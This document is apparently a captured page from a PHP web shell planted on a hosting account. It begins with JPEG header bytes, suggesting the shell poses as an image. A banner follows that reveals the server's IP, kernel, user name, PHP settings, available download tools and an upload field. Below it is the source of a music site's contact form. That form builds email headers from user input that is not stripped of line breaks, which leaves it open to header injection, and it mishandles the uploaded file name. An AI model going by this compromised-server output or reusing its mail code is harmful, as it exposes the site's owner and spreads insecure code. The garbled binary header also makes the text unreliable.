����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 162.0.232.25 / Your IP : 18.217.116.245 Web Server : LiteSpeed System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : kwacuqig ( 988) PHP Version : 8.2.26 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/kwacuqig/malawisounds.com/ |
Upload File : |
<?php function sendEmail($from, $to, $subject,$body, $file, $cc = null) { //boundary $mime_boundary ="==Multipart_Boundary_x{" . md5(time()) ."}x"; // email headers $headers = "From: $from \r\n"; $headers .= "Reply-To: $from \r\n"; // optional $headers .= "Return-Path: $from \r\n"; // optional $headers .= "Cc: $cc \r\n"; // optional $headers .= "MIME-Version: 1.0\nContent-Type: multipart/mixed;\nboundary=\"{$mime_boundary}\""; //multipart boundary $message = "--{$mime_boundary}\n" ."Content-Type: text/html; charset=\"UTF-8\"\n" . "Content-Transfer-Encoding: 7bit\n\n" .$body . "\n\n"; //preparing attachment if (!empty($file) > 0) { if (is_file($file)) { $message .= "--{$mime_boundary}\n"; $fp = fopen($file, "rb"); $data = fread($fp, filesize($file)); fclose($fp); $message .= "Content-Type: application/octet-stream; name=\"" . basename($file) . "\"\n" . "Content-Description: " . basename($file) . "\n" . "Content-Disposition: attachment;\n" . " filename=\"" . basename($file) . "\"; size=" . filesize($file) . ";\n" . "Content-Transfer-Encoding: base64\n\n" . chunk_split(base64_encode($data)) . "\n\n"; } } $message .= "--{$mime_boundary}--"; // send the email with attached file if (mail($to, $subject, $message, $headers)) { echo "your email has been sent successfully"; } else { // optional message to display when sending email fails } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="icon" type="x-icon" href="Icons/malawisounds.ico"> <meta name="viewport" content="width=device-width,intial-scale=1.0"> <link rel="stylesheet" type="text/css" href="load.css"> <link rel="stylesheet" type="text/css" href="bootstrap/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="w3.css"> <link rel="stylesheet" type="text/css" href="font/flaticon.css"> <link rel="stylesheet" type="text/css" href="impact/stylesheet.css"> <title>MalawiSounds|contact</title> <style type="text/css"> @media screen and (max-width:360px){ td { text-align:left; } </style> </head> <body> <div class="margin w3-white w3-card-1"> <header> <div class="w3-content w3-section w3-container"> <div class="mySlides w3-animate-left"> <img src="Icons/msounds1.png" class="msounds" alt="Logo" /> </div> </div> </header> <h2 class="w3-text-blue w3-center" style="font-family:impact">Submit Content</h2> <?php if(isset($_FILES['file']) && isset($_POST['name']) && isset($_POST['email']) && isset($_POST['message']) && isset($_POST['subject'])) { $attach_name=strtolower($_FILES['file']); $type=$_FILES['file']['type']; $size=$_FILES['file']['size']; $tmp_name=$_FILES['file']['tmp_name']; $name=htmlentities($_POST['name']); $email=htmlentities($_POST['email']); $subject=htmlentities($_POST['subject']); $message=htmlentities($_POST['message']); if(!empty($name) && !empty($email) && !empty($message) && !empty($name)) { $to='beatondawa@gmail.com'; $pm=$name."\n\n".$message; sendEmail($email,'beatondawa@gmail.com',$subject,$pm,$attach_name); } else { echo'please fill all required fields'; } } ?> <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>" method="POST" role="form" enctype="multipart/form-data"> <div class="form-group"> <br> <label>name</label><br> <input type="text" name="name" maxlength="30" placeholder="Enter your Full Name" class="form-control" value="<?php if(isset($_SESSION['firstname'])) {echo $_SESSION['firstname'];}?>" required /><br><br> <label>Email</label><br> <input type="email" name="email" class="form-control" maxlength="40" placeholder="Enter your Email addressee" required /><br><br> <label>Subject</label><br> <input type="text" name="subject" maxlength="70" class="form-control" placeholder="Enter your Subject" required /><br><br> <label>Message</label><br> <textarea name="message" cols="30" rows="6" maxlength="1500" class="form-control" required > </textarea><br><br> <label>Attach Music file</label><br> <input type="file" name="file" class="w3-yellow" required /> <br><br> <input type="submit" class="btn btn-info" value="Send Email" /> </div> </form> <div> <!--Footer--> <div class="footer" style="padding:3px 10px 3x 10px;"> <div class="w3-center social"> <a href="http://www.facebook.com/malawisounds"><img src="Icons/facebook.png" alt="fb" class="link"></a> <a href="http://www.twitter.com/2muzik3"><img src="Icons/Twitter.png" alt="twitter" class="link"></a> <a href="http://www.twitter.com/2muzik3"><img src="Icons/instagram.png" alt="instagram" class="link"></a> <a href="http://www.twitter.com/2muzik3"><img src="Icons/whatsapp.png" alt="whatsapp" class="link"></a> </div> <div class="details w3-center"> <a href="terms.php" target="_self">Terms and conditions</a> | <a href="contact.php" target="_self">Contact us</a> | <a href="about.php" target="-self">About Us</a> </div> <h4 class="w3-text-white w3-center text-justify">Copyright ©2018- <?php echo date('Y',time());?></h4> </div> </div> </div> </body> </html>